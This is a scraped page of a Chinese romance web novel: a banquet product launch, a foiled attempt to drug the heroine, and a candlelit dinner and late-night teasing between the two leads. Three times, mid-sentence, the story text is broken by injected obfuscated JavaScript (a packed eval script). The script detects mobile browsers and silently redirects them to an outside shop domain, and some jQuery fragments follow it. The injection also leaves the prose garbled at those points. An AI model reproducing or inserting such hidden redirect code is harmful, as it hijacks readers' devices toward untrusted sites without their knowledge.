路学谦唇角勾起一抹浅淡冷弧,低声缓道:“尧哥说的是。原本为尧哥备了一份压轴极品,中途出了些许意外。不过无妨,宴会结束,我定补上赔礼,不让尧哥失望。” 陈尧斜睨他一眼,眸光深邃:“希望你说到做到。” 话音落,他仰头,将杯中猩红烈酒一饮而尽。 短暂沉寂后,路学谦嗓音压得极低:“开始了。” 高台之上,一名身姿干练的黑衣女人缓步上前。 “各位来宾,麻烦安静片刻。” 清亮沉稳的声音穿透宴会厅喧嚣,全场目光齐齐汇聚高台。 “今日,卡特公司将为大家正式推出全新护肤产品——卡特。效果、质地、修护能力,全面超越市面热门的琳露系列。” 话音落下,在场宾客皆是眼前一亮,纷纷往前靠拢,满眼期待。 女人抬手示意身侧助理上前。 另一名西装女子端着精致托盘走来,托盘中央,静静立着一支崭新的护肤品。 “接下来,我将现场为大家实测效果,不知哪位女士愿意上台体验?” 她锐利的目光缓缓扫过全场。 台下宾客纷纷低声议论,却无人率先上前。 下一瞬,一道妩媚清亮的女声响起:“我来吧。” 一袭红裙的女人款款起身,紧身礼服勾勒出玲珑身段,眉眼妖娆明艳。周遭人群下意识为她让出通路。 “请。”高台女子抬手示意。 红衣女子稳步登台。 高台女子当众打开卡特护肤品,均匀涂抹在她一侧手腕肌肤上,清晰展示在众人眼前。 —— 与此同时,夜色浓郁的返程路上。 黑色豪车平稳穿行车流,车厢内静谧压抑。 刘瞳一路憋着气,小脸紧绷,周身写满不悦。 柳廷砚看了她半晌,终究缓缓开口,音色低沉清冷:“路学谦方才递过来的点心盘里,撒了迷药。” 刘瞳猛地一怔,随即抬眼怒瞪他:“你胡说什么!” 柳廷砚只淡淡侧目,并未多做解释,车厢再度陷入沉默。 良久,他再次打破沉寂,语气带着几分不易察觉的叮嘱:“你是第一次参加这种圈子的宴会?” 刘瞳心头火气未消,语气冲得很:“关你什么事?” “往后这种鱼龙混杂的宴会,能推便推。”柳廷砚神色平淡,字字认真,“不适合你。” 这话彻底戳炸了刘瞳的脾气。 她瞬间炸毛:“你什么意思?看不起我?” 柳廷砚无奈轻叹,耐心解释:“你看的影视剧并非凭空杜撰。这种顶级名利场,处处暗潮汹涌,人心叵测。稍有不慎,后果难料。” “狗血剧情是剧情!现实怎么可能这么离谱!”刘瞳气鼓鼓别过脸,压根不信。 “世间万事,皆有可能。”柳廷砚神色淡然,语气却带着笃定,“能被演绎出来的,皆是现实缩影。” “按你这么说,恐怖片演的,现实也都存在?”刘瞳睨他一眼,满脸不服。 柳廷砚微微颔首,故作深沉:“你若要这么理解,也未尝不可。” “柳廷砚!” 刘瞳彻底被他气到炸,险些原地火山爆发。 —— 宴会厅内,热度正酣。 高台之上,主持人盖好护肤品瓶盖,抬手举起红衣女子的双腕,清晰对比展示。 一侧肌肤白皙透亮、水润细腻,透着莹润光泽;另一侧未涂抹的肌肤,质感明显暗沉粗糙。 鲜明落差,一目了然。 台下瞬间哗然,议论声此起彼伏。 “大家肉眼可见差距。”主持人笑意从容,“请问这位小姐,涂抹之后有无不适感?” 红衣女子轻声回应:“肌肤表层微微清凉,很舒服,毫无黏腻负担。” “正是。”主持人顺势介绍,“这款卡特添加珍稀中草药成分,温和代谢老废角质,淡化痘印色斑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17847931|211769||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,镇静□□。夏日燥热肌肤、痘肌、暗沉肌,都十分适配。” 此话一出,台下瞬间沸腾。 “听着也太实用了!” “我脸上陈年痘印一直消不掉,化妆遮盖反而更伤肤,这款我太想试试了!” “不知道定价多少?” 宾客们纷纷心动,低声追问,跟风之势愈演愈烈。 宋琳琳站在人群外看得一清二楚,内心默默无语。 这群人,真是太容易被带动了。 好在她护肤向来专一,从不跟风乱换牌子。 她小声嘟囔:“难怪特意办这场宴会,原来是为新品造势。” 声音极轻,淹没在喧闹里,无人听见。 高台下方僻静处,路学谦与陈尧对视一眼,二人眼底皆掠过一抹算计精光,一切尽在不言中。 主持人继续朗声宣布:“卡特今日首次面世,定价暂未公布。但我可以保证,售价绝对低于琳露,性价比极高,绝不辜负各位期待。” 台下瞬间更躁动了。 “没定价也没关系!卡特公司的品控我一直信!” “我一直用他家护肤品,素颜皮肤状态都很能打!” 宾客互相附和,全场热度彻底被炒至顶峰。 “什么时候出定价?我们想预定!” 主持人抬手压下喧闹,笑意得体:“大家稍安勿躁。具体售价将于下周一统一公示,今日起,各位可前往前台先行预定。宴会继续,祝各位尽兴。” 话音落,她微微躬身,从容下台。 人群渐渐散开,宴会恢复热闹。 宋琳琳撇撇嘴,继续埋头啃着甜点。 沙发区。 秦曲曼挽着高婉然落座,笑意甜甜:“高姐姐,你以后会试试这款卡特吗?” “嗯,会的。”高婉然浅浅点头,姿态温柔。 秦曲曼状似无意,随口一问:“对了高姐姐,今日怎么没见柳先生?以往这种宴会,柳先生都会陪你一起来的呀。” 这话落下的瞬间,高婉然脸上温柔的笑意骤然一僵。 不过短短两秒,她便迅速收敛失态,从容浅笑:“他陪家中父母外出旅游了。” “原来如此。”秦曲曼恍然大悟,笑得意味深长,“难怪今日不见人影。” 高婉然扯了扯唇角,端起酒杯轻抿,掩去眼底转瞬即逝的晦涩。 不远处的宋琳琳耳力极灵,一字不落地听进耳中。 她瞬间懵了。 柳廷砚陪父母旅游? 可柳廷砚明明一直暂住小瞳家里,她从未见过他父母露面,更别说一同出游。 难道是旅游途中出了意外,和家人走散,最后流落异乡,被小瞳好心收留? 宋琳琳的脑洞瞬间天马行空,越想越离谱。 可转念一想,又处处不对劲。 若是真和家人失散,时隔一个多月,为何无人寻他?柳氏集团那边也毫无动静? 疑点重重。 她咬着糕点,暗自打定主意——等回头,一定要好好问问小瞳。 高台主持人下台后,径直走到路学谦与陈尧面前,微微躬身:“老板。” “做得很好。”路学谦淡淡赞许。 女子垂首道谢:“多谢老板夸奖。” 一旁的陈尧却脸色阴沉,指尖死死攥着酒杯,指节泛白,语气冷戾:“阿谦的人,做事永远干净利落。反观我手下这群废物,一事无成。” 路学谦见状,低声询问:“尧哥,那人还没消息?” “一群没用的东西!连个人都找不到!”陈尧低声低吼,戾气骤现。 路学谦眸底掠过一丝深暗,轻声安抚,字字诛心:“尧哥不必动怒。如今那人早已是丧家之犬,尧哥手握整个爱森集团权柄,声势滔天。就算他敢回来,也翻不起半点风浪。更何况……他如今那张脸,早已见不得光了。” 最后半句,他意味深长收尾,刻意留尽留白。 陈尧闻言,阴郁的脸色骤然舒展,唇角勾起一抹张狂又阴狠的笑。 眼底,尽是胜券在握的冷冽算计。 14. 烛光晚餐 宴会散场,夜色沉沉。 刘瞳一回到家,便反手扣住房门,将自己死死锁在卧室里,闷头蜷在床上,心底又委屈又憋闷。 浴室水雾蒸腾,温热的水流顺着肌理滑落。 柳廷砚披着满身水汽站在花洒下,单手抵着冰凉的墙壁,眸色沉沉,喉间带着未散的微喘。 方才宴会厅那一幕幕画面,反复在脑海里盘旋,挥之不去。 今晚车子停在会所楼下时,他心底莫名窜起一阵强烈的不安。 鬼使神差地,他抬眸凝望着灯火璀璨的会所正门,伫立良久,终究还是推门下车。 换一身服务生制服,戴上面具遮掩眉眼,他端着托盘混进喧嚣盛大的宴会大厅。 入目便是一派热闹光景——刘瞳和宋琳琳凑在甜品长桌前,毫无形象地大快朵颐,眉眼弯弯,吃得尽兴又可爱。 而不远处,路学谦立在人群之间,一身温雅正装,眉眼看似温润无害。 可那双深邃沉敛的眸子,却一瞬不瞬锁着刘瞳的背影,眼底掠过一丝极淡、令人捉摸不透的暗光。 下一秒,路学谦恰好望见缓步走来的柳廷砚,随意抬手招了招。 “服务生,帮我拿一方手帕。” 语毕,他动作散漫地从怀中抽出两张红钞,递了过去。 柳廷砚眼底无波,顺势接过,安静转身离去。 只是走出两步,他脚步微顿,悄然侧眸回望。 昏暖灯光下,只见路学谦微微俯身,凑到身侧秦曲曼耳边,低声私语,唇角勾着一抹极淡、不怀好意的笑意。 秦曲曼垂眸聆听片刻,抬眼时,清丽的眉眼间,也染上一层意味深长的弧度。 柳廷砚心头微凛,暗自留了心眼,不再多做停留,转身隐入人群角落。 取来手帕递回路学谦手中,他便被对方淡淡遣退。 柳廷砚索性寻了一处隐蔽角落站定,修长挺拔的身影隐在阴影里。 一双锐利狭长的凤眸,缓缓扫过整座宴会厅,不放过任何一处角落,细细搜寻着什么。 视线辗转一圈,最终稳稳落定在那道纯白灵动的身影上。 眼底翻涌的冷意瞬间褪去,漾开一抹细碎、不易察觉的暖意。 可这份暖意转瞬即逝,他眸光骤然一凝,眉心微蹙。 脑海灵光乍现,方才路学谦与秦曲曼的诡异互动,骤然串联起来。 他迅速抬眸望去—— 长桌旁,路学谦背对着人群,秦曲曼微微侧身,恰好替他挡去大半视线,角度刁钻又隐秘。 唯有柳廷砚所处的位置,能将他的动作尽收眼底。 灯光阴影交错间,路学谦飞快从怀中摸出一小包粉末,拆开尽数撒在干净手帕上,指尖轻轻揉搓浸透,随后将药包快速收回怀中,动作行云流水,毫无破绽。 柳廷砚眸色彻底沉冷。 果然,上流宴会的龌龊手段,从来都是家常便饭。 他混迹圈层多年,早已见惯这般阴私伎俩。 不知今夜又是哪个无辜之人,要沦为棋子。 若是路学谦自用尚且还好,可若是当做算计人的筹码送出……下场可想而知。 正思忖间,路学谦朝秦曲曼微不可察地点了下头。 秦曲曼心领神会,唇角噙着得体浅笑,端起两杯猩红红酒,径直朝着毫无防备的刘瞳走去。 柳廷砚心脏骤然一紧。 不会这么巧。 脑海瞬间闪回方才画面——他不顾她挣扎,强硬将人从宴会厅抱走,怀中小女孩炸毛气怒、奋力反抗的模样,鲜活又娇憨。 思绪回笼,浴室水声骤停。 柳廷砚裹着宽松浴巾,黑发湿漉漉滴着水珠,走出浴室。 客厅寂静无声,卧室房门依旧紧闭严实。 他抬手悬在门板上方,指尖几欲叩下,却又迟迟顿住。 静默良久,终究还是轻轻敲了敲。 “咚咚。” 屋内毫无回应,死寂一片。 柳廷砚只得收回手,转身坐到沙发上,指尖无意识摩挲着膝盖,耐心等候。 一小时过去,房门纹丝不动。 两小时过去,屋内依旧寂静无声,连半点动静都没有。 柳廷砚心头的耐心彻底耗尽,猛地一紧。 这只小野猫……不会是钻牛角尖,想不开了? 他眉眼瞬间染上急切,力道加重,敲门声急促响起。 “咚咚!刘瞳!开门!” 下一秒,门内传来少女带着浓重鼻音、夹杂哽咽的怒吼,又烦又委屈:“你烦不烦!让我一个人静静会死吗!” 敲门声骤然停滞。 她果然哭了。 柳廷砚心口莫名堵得发闷,烦躁又无措。 卧室内,窗帘半掩。 刘瞳蜷缩在床头,双膝抱怀,红红的眼眶望着窗外沉沉夜色。 方才车内柳廷砚那句冷硬直白的警示,一遍遍在耳边回响—— 【手帕上有迷药。】 初听之时,她满心震惊,下意识便信了他的话。 只是少女的骄傲和好胜心作祟,硬是嘴硬怼了回去。 可冷静下来回想全程,只剩满心后怕与难言难过。 客厅外,柳廷砚垂首而立,浓密睫毛落下一片阴影,遮住眼底所有情绪,让人辨不清喜怒。 沉默蔓延一分钟,他转身径直走进厨房。 忙碌整整一小时。 再度站在卧室门前时,他手中稳稳捧着一只精致粉嫩的陶瓷杯。 下一瞬。 他面无表情,抬手、松手。 “啪——!” 清脆碎裂声骤然炸响在安静屋内。 正蜷在床头暗自伤神、委屈落泪的刘瞳,浑身猛地一颤。 她连拖鞋都来不及穿,赤着脚慌乱冲到门口,一把拉开房门。 入目便是满地细碎粉色瓷片,狼藉一片。 而始作俑者柳廷砚,正垂着手站在原地,神色淡漠。 “柳廷砚!” 刘瞳气得眼眶通红,一声怒吼几乎掀翻屋顶,小脸涨得通红,指尖颤抖指着满地残骸,“你、你干什么!” “怕你想不开。” 柳廷砚微微耸肩,语气漫不经心,全然无所谓。 “你才想不开!” 刘瞳气得胸口起伏不停,又气又委屈,直接跨过一地碎瓷,抬手就要追着他打。 奈何柳廷砚腿长步快,身形灵巧,轻松避开所有攻势。 两人一追一躲,围着沙发打转半个钟头。 闹腾过后,积攒整晚的委屈彻底压垮了所有脾气。 刘瞳脚步一顿,双腿一软,蹲在地上,抱着膝盖,终于忍不住放声大哭。 “呜呜呜——” 哭声软糯又委屈,震得人心头发颤。 柳廷砚身形骤然僵住,静静伫立原地,望着蹲在地上哭得可怜的小姑娘,心底五味杂陈,酸涩闷堵。 僵持片刻,他终究无奈叹气,缓步上前,屈膝蹲在她身前,放软了所有语气: “好了,别哭了,我道歉。是我的错。” “呜呜你混蛋!” 刘瞳泪眼朦胧抬起通红的眸子,睫毛湿漉漉黏在眼睑上,哭得抽抽噎噎,上气不接下气,“你不仅毁掉我和学长难得相遇的机会,还打碎了学长送我的、我唯一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17847932|211769||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 的生日礼物!你就是混蛋!呜呜!” 少女通红剔透的杏眼撞进眼底,柳廷砚坚硬的心瞬间软得一塌糊涂。 他难得窘迫,低声嘟囔:“对不起,我赔你。” 这是他这辈子,第一次低头向人道歉。 从前众星捧月,从来只有别人向他认错,何曾有过他赔罪的道理。 “你赔得起吗!” 刘瞳胡乱拍打着他的手臂,又气又难过,“你现在吃我的住我的!就算不是,你送的也不一样!根本不一样!呜呜!” “不就是一个杯子?能有什么不一样。”柳廷砚撇了撇嘴,心底隐隐泛酸。 “就是不一样!”刘瞳吸着通红的鼻子,哭得委屈至极,“那是学长送我的唯一一份生日礼物!被你打碎了!” 听闻“学长”二字,柳廷砚心头醋意翻涌,下意识轻嗤一声,语气带着淡淡不屑:“一个伪君子送的东西,有什么好稀罕。” “你才是伪君子!你全家都是伪君子!” 刘瞳情绪上头,想也没想脱口而出。 话音落下的瞬间,空气骤然死寂。 她猛然回过神,浑身一僵,心底瞬间咯噔一下。 糟了。 她忘了,柳廷砚父母早已不在。 嘴太快,说错话了。 刘瞳心底暗自懊恼暗骂,可转念又一想—— 明明是他有错在先,是他无理取闹打碎她的礼物、破坏她的好事! 她只是气极失言,凭什么愧疚? 这般自我安抚,她瞬间挺直脊背,依旧气鼓鼓瞪着他,眼底满是不服。 “都是你的错!”她攥紧小手,脸红脖子粗,理直气壮控诉,“是你破坏我和学长好不容易遇见的机会!全都怪你!” 柳廷砚依旧沉默伫立,垂眸不言,周身气息微微沉冷。 刘瞳心头微微发紧。 ……她是不是说得太过分了?他这个样子,好吓人。 就在她纠结要不要开口缓和气氛时,低沉温和的嗓音缓缓响起: “好了,是我的错,别气了。” 刘瞳猛地抬眼,满脸错愕。 他居然先服软了? 望着他沉静冷淡的侧脸,她心头莫名一颤,脑洞瞬间乱飞。 不会吧……他该不会记仇,打算秋后算账、暗中坑她吧? 正胡思乱想之际,柳廷砚已然伸手,轻轻攥住她的手腕,牵着她往餐厅走去。 一桌暖黄烛光静静摇曳,精致西餐整齐摆放,氛围感温柔得不像话。 刘瞳鼻尖骤然一酸,眼眶瞬间又热了。 她怔怔望着摇曳烛光,声音软糯带颤:“你、你干什么……” “你今天几乎没怎么正经吃东西,宴会上净吃了甜点,空腹伤胃。” 柳廷砚拉开座椅,温柔将她按坐下来,自己在对面落座,淡淡开口,“这顿,算我赔罪。” 暖光落在少年轮廓分明的眉眼上,温柔得不像话。 刘瞳咬着唇,小声嗫嚅:“烛光晚餐……不是、不是只有情侣才会吃的吗?” “你要这么想,也可以。” 柳廷砚唇角微微勾起一抹极浅的笑意,抬手拿起刀叉,慢条斯理替她切着牛排。 餐盘旁还温着一碗软糯小米粥,细心周到。 刘瞳心头泛起一阵说不清道不明的酸涩与甜暖,迟疑着拿起叉子。 “先喝粥垫胃。” 温柔的男声轻轻落下,打断她的动作。 “哦。” 刘瞳乖乖听话,放下刀叉,小口小口喝着温热米粥。 餐厅安静无声,唯有烛火轻轻晃动,气氛缱绻又暧昧。 15. 那不如,你嫁给我 良久,她垂着眸,小声喃喃:“这是我第一次吃烛光晚餐。” 柳廷砚抬眸望她一眼,语气随意却认真:“巧了,我也是第一次。” “你骗人!” 刘瞳瞬间抬头,瞪大双眼不服气怼他,“你怎么可能是第一次?而且你不是有女朋友吗!” 听见“女朋友”三个字,柳廷砚切牛排的动作微顿,眼底飞快掠过一丝冷戾与厌弃,转瞬即逝。 “所谓女友,不过是对外挡箭牌。” 他淡淡抬眼,语气疏离淡漠,“我素来忙碌,从未有心思搞这些风花雪月的东西,更没空吃什么烛光晚餐。” 刘瞳怔怔听着,脑子一片懵空白,心底却悄悄泛起一丝难以察觉的雀跃,脸颊不受控制地慢慢泛红。 柳廷砚将她微红的小脸尽收眼底,心头微动,心情莫名愉悦。 片刻后,刘瞳吃完盘中最后一块牛排,抬眸望着他,眼底亮晶晶的,满是希冀:“还有吗?” “厨房还有。” 得到应允,她立刻起身兴冲冲冲进厨房,一手端着一盘牛排折返回来。 柳廷砚看着她两手各一盘、两眼放光的可爱模样,无奈扯了扯唇角,有些失笑。 这小东西,也太能吃了。 寻常女生一盘足矣,他多做两份本是预备明日早餐,倒没想到,正好合了她的胃口。 等他回神,刘瞳已经风卷残云解决完毕,瘫坐在椅子上,摸着圆滚滚的小肚子,一脸餍足,满足得眯起双眼。 “嗝——好吃!太好吃了!” 她打了两个甜甜的饱嗝,眉眼弯弯,真心感慨,“柳廷砚,谁要是以后嫁给你,肯定超级幸福!” “嫁给我?” 柳廷砚眸色微深,脸色微沉,随即骤然起身,微微俯身凑近她。 温热气息尽数笼罩下来。 “那不如,你嫁给我?” 刘瞳瞳孔骤缩,猛地抬头睁眼,直直撞进他深邃含笑的眼底。 少年眉眼戏谑,唇角噙着浅笑,俯身逼近。 两人唇瓣相距不过一厘米,呼吸交缠,近在咫尺。 空气瞬间凝滞。 两人双双僵在原地。 柳廷砚心头猛地一动,喉间微滚,下意识缓缓低头。 “我、我可不敢!” 刘瞳骤然回神,慌乱伸手推开他,猛地偏过头去,脸颊滚烫发烫,心跳擂鼓般怦怦狂跳,几乎要冲破胸腔。 刚刚……他是真的想吻她?! “噗嗤。” 看着她耳尖通红、手足无措的慌乱模样,柳廷砚终于没忍住,低笑出声。 刘瞳又羞又气,转头狠狠瞪他一眼,满眼嗔怒。 “对了。” 柳廷砚收敛笑意,靠回椅背,故作无辜地眨了眨眼,语气慢悠悠的,“牛排卡路里很高,还是大晚上吃这么多……你自己想想后果。” “柳、廷、砚!” 刘瞳瞬间怒目圆睁。 !下一秒,少年低低的笑声肆意响起,得意又张扬。 刘瞳气得牙痒痒,真想脱鞋拍他脸上。 片刻后,她深吸一口气,咬牙下定决心:“不行!我得出去跑步消耗掉!” 说着便要起身出门。 “现在十一点二十五。” 柳廷砚双臂环胸,慢悠悠摇头叹气,语气故作惋惜,“我昨天才看新闻,最近夜里不太平,不少少女夜跑被偷袭,劫财又劫色,啧啧。” 刘瞳脚步瞬间顿住。 心底莫名窜起一阵寒意,越想越怕。 好像……确实不能半夜出门。 她犹豫片刻,乖乖折回客厅,打开电视消闷。 柳廷砚看着她安分下来的背影,眉眼柔和,默默起身,安静收拾满桌碗筷。 夜色温柔,一室暧昧悄然蔓延。 柳廷砚收拾完厨房走出时,一眼便看见蜷缩在沙发角落的小小身影。 刘瞳抱着软绵绵的抱枕,整个人缩成一团,乌黑的眸子一瞬不瞬盯着电视屏幕,画面里阴森诡谲的恐怖片光影,在她白皙的小脸上忽明忽暗。 他眉梢微挑,缓步轻悄走近,俯身凑到她耳畔,低低出声:“喂。” “啊——!” 突如其来的气息贴近耳畔,刘瞳浑身猛地一哆嗦,整个人瞬间绷紧,差点从沙发上弹起来。 身后传来男人低低的笑声,清朗又戏谑。 “胆子这么小,还敢看恐怖片?” 刘瞳惊魂未定地拍着胸口,狠狠回头瞪他一眼,气鼓鼓嘟囔:“你懂什么!晚上看恐怖片刺激代谢,能瘦好几斤!” 说完,她迅速转回头,重新缩回角落,死死盯着电视,一副嘴硬逞强的模样。 柳廷砚轻嗤一声,无奈落座在她身侧不远处,懒懒靠着沙发背,静静看她硬撑。 屏幕里惊悚画面一闪而过,凄厉音效骤然响起。 刘瞳小脸瞬间惨白,瞳孔骤缩,二话不说举起抱枕死死捂住双眼,连呼吸都放轻了。 柳廷砚看着她掩耳盗铃的模样,伸手无奈扯了扯她怀里的抱枕。 “你干嘛!”刘瞳透过指缝,怯生生又气呼呼地看他。 “捂着眼睛还看什么恐怖片?纯属自吓。” 柳廷砚轻轻抽走抱枕,随手放在一旁。 刘瞳没了遮挡,只能乖乖抱住自己的膝盖,整个人绷得紧紧的。 可恐怖画面接踵而至,她根本扛不住。 不过片刻,她便再也撑不住,小步挪到柳廷砚身侧,整个人贴过去,牢牢抱紧他的手臂,小脸埋在他温热的臂弯里,软糯又害怕:“太恐怖了……我怕。” 柳廷砚唇角微扯,眼底漾开浅浅笑意。 真是只嘴硬又胆小的小野猫。 气氛刚好缱绻,他却忽然轻轻掰开她环着自己手臂的小手。 刘瞳一愣,抬头懵懵看他。 “我去趟洗手间。”柳廷砚淡淡道。 “哦……那你、你快点回来!” 刘瞳眨着湿漉漉的眼睛,可怜兮兮冲他摆手。 看着他转身离开的背影,她只能独自对着电视,每到惊悚镜头,就紧张得蜷紧膝盖,心里慌得不行。 片刻后,柳廷砚走出洗手间。 抬眸便看见女孩孤零零蜷在沙发上,紧绷着小脸强撑胆量,明明吓得快要发抖,还偏要目不转睛盯着屏幕。 心头顿时升起几分促狭的戏谑。 他放轻脚步,悄然绕到她身后,俯身压低声音,骤然轻喝:“哈!” “啊——!” 刘瞳浑身一激灵,吓得猛地从沙发上弹起来,整个人心跳骤停,差点哭出来。 客厅灯光骤然被她慌乱碰亮,满屋灯火通明。 她转头瞪着笑得肆意的少年,眼眶微红,又气又委屈:“柳廷砚!你故意的!” “哈哈哈。” 柳廷砚看着她受惊炸毛的模样,低笑不止,胸腔震颤。 “我饶不了你!” 刘瞳彻底抓狂,纵身扑上去,直接跳到他身上,双腿盘住他的腰,小手攥成拳头,一下下不轻不重地砸在他肩头。 打闹正酣,门外忽然传来清晰的敲门声。 “咚咚、咚咚。” 柳廷砚抬手按住她作乱的小手,无奈道:“别闹,有人敲门,先下来。” “不可能!” 刘瞳惊魂未定,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17847933|211769||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 牢牢抱着他脖颈不肯撒手,小脸埋在他颈窝,心有余悸地嘟囔,“大半夜谁会敲门,你肯定是幻听!我不下!” “真的有人。”柳廷砚轻拍她后背,语气无奈,“乖,下来。” “我不!我怕!” 刘瞳脑袋摇得像拨浪鼓,手脚死死缠在他身上,半点不肯松开。 柳廷砚没辙,只得抬手稳稳托住她的腰,就这么抱着挂在自己身上的小姑娘,缓步挪到门边,抬手开门。 门外站着隔壁的王大妈,一身睡衣,睡眼惺忪,满脸无奈地瞪着他们。 “我说你们年轻人精力旺盛我懂,可大半夜动静能不能小点?我们老人家经不起折腾!” 王大妈目光落在两人亲密纠缠的姿势上,瞬间了然,眼神微妙又无奈。 柳廷砚耳尖微热,轻咳一声,带着歉意浅笑:“抱歉王大妈,我们下次一定小声。” 一旁的刘瞳还一头雾水,眨巴着眼茫然不解——什么动静? 王大妈目光又落在柳廷砚侧脸淡淡的痕迹上,唏嘘摇头:“小伙子,你这脸上的印子还没消呢,可得好好养养。小瞳这下手也太重了点。” “哎?我没有!” 刘瞳瞬间不淡定,急得想要从他身上跳下去辩解。 可下一瞬,腰上骤然一紧。 柳廷砚稳稳托住她的大腿,不让她乱动,眼神淡淡制止。 “你干嘛!”刘瞳怒瞪他。 “哎呀行了行了,年轻人好好休息,别折腾了。”王大妈打了个哈欠,懒得再多说,转身慢悠悠上楼。 “不是!大妈你听我解释!” 刘瞳艰难扭头欲辩,话却被柳廷砚轻声打断。 “多谢大妈,我们知道了。” 他笑着应声,抬手利落关上房门。 屋内瞬间安静。 刘瞳立刻炸毛挣扎:“柳廷砚!你什么意思!你脸上的印子根本不是我弄的,你干嘛不让我解释!” “睡觉。” 柳廷砚懒得跟她胡闹,淡淡丢下两个字,直接俯身将人打横抱起,大步走进卧室。 “你放我下来!” 刘瞳气得抬手狠狠拍在他肩头。 他腰间只松松裹着一条浴巾,温热紧实的肌理毫无遮挡,她这一掌下去,瞬间印出一道清晰的红痕。 “嘶——” 柳廷砚倒抽一口凉气,低头看着怀里炸毛的小东西,又气又无奈,“你这女人怎么这么暴力?明明是你死赖在我身上不肯下来!” 话音落,他轻轻将她丢在柔软的大床之上。 刘瞳噘着嘴,不服气地小声嘟囔:“活该。” 见他转身就要往外走,她心头一慌,连忙开口:“你去哪?” 柳廷砚脚步一顿,回头看她。 卧室光线温软,女孩蜷在床头,微微垂着眸,耳尖悄悄泛红,声音软软弱弱的:“你能不能……等我睡着了再出去?我有点怕。” 柳廷砚静静看着她羞怯柔软的模样,沉默几秒,一言不发地转身,径直走到床沿坐下,靠着床头闭目休憩。 刘瞳心头一暖,弯眸悄悄笑了笑,乖乖躺好,侧头看了他一眼,才缓缓闭上双眼。 可偏偏越是想睡,脑子越是清醒。 她偷偷掀开眼睫,目光落在身侧男人身上。 他慵懒靠着床头,墨色短发微湿,肌理分明的上身线条利落流畅,紧实平整的腹肌线条若隐若现,好看得让人移不开眼。 刘瞳小脸骤然发烫,慌忙收回目光。 犹豫片刻,她悄悄往他身边挪了挪,将自己身上的薄被轻轻分了一半,小心翼翼盖在他身上。 就这样,两人安安静静,凑合一整宿。 16. 琳琳的一通电话 翌日清晨。 淅淅沥沥的雨声透过窗棂传入屋内。 刘瞳悠悠转醒,身侧早已空空如也。 她揉着惺忪睡眼起身,赤脚走到窗边拉开窗帘。 窗外天色暗沉,乌云密布,细雨绵绵,湿漉漉的风带着凉意扑面而来。 “下雨了……好想躺一天,不想出门。” 她恹恹叹气,正要缩回被窝,桌上的手机忽然叮咚响起铃声。 她慵懒走过去接起。 “喂?” “小瞳!你该不会还在睡懒觉吧!” 电话那头,宋琳琳已经坐在工位上疯狂赶工,语气满是幽怨。 “唔对啊,下雨好困。”刘瞳揉着眼睛,软软哼唧。 “不是吧!昨晚你家那位到底对你做什么了,能让你起不来床?”宋琳琳压低声音,一脸吃瓜八卦。 “你别胡思乱想!我们什么都没发生!”刘瞳无奈扶额。 “真的没发生?还睡一起了?”宋琳琳语气阴阳怪气,笑意满满。 刘瞳瞬间一惊,猛地坐起身:“你怎么知道我们睡一起?!” “哎哟!果然被我猜中了!难怪你今天赖床!”宋琳琳笑得幸灾乐祸。 “不是你想的那样!”刘瞳无力躺回床上,百口莫辩。 “行行行,我懂,纯洁得很。”宋琳琳意味深长拉长语调。 刘瞳彻底投降:“好了好了,外面下雨,我不想上班,帮我请假。” 说完不等她吐槽,直接利落挂断电话。 电话那头的宋琳琳看着黑屏手机,瘪嘴愤愤:“重色轻友的家伙,小日子过得也太舒服了!” 刘瞳懒懒散散起身走出卧室。 客厅里,柳廷砚依旧只在腰间裹着一条浴巾,身姿挺拔,正安静坐在餐桌前吃早餐。 她吓得快步上前,指着他一脸震惊:“你、你怎么还这么穿!” “衣服没干。”柳廷砚淡淡白她一眼。 他心底暗自轻叹,几分无奈酸涩。 谁能想到,他堂堂手握实权的集团总裁、业内顶尖化妆师,如今竟会落魄到没衣服可换。 刘瞳望向阳台挂满湿漉漉的衣物,这才想起自己只给他买过两套替换衣衫,连日阴雨,自然晾不干。 她转身折返卧室,很快拿了一把吹风机出来,递到他面前。 “用这个吹干!很快的!” 柳廷砚看着那小小的吹风机,额角黑线,语气抗拒:“拿走。” “真的可以!我以前下雨天都是这么吹干衣服的,完全能用!” 刘瞳拍着胸脯保证,认真劝他:“你总不能一整天都这样穿吧?家里没空调,一直湿着会着凉。” 拗不过她执拗的模样,柳廷砚只能一脸生无可恋地接过,沉默对着衣物吹风。 那张清冷矜贵的脸,此刻皱着眉,神色难看至极。 刘瞳看着他憋屈又无奈的模样,忍不住偷偷弯眸偷笑,转身跑进卫生间洗漱。 等她洗漱完毕出来,柳廷砚已然吹干衣物,穿戴整齐,恢复了一贯清冷矜贵的模样。 两人安静相对落座,默默用着早餐。 静谧间,刘瞳心头忽然闪过一句话。 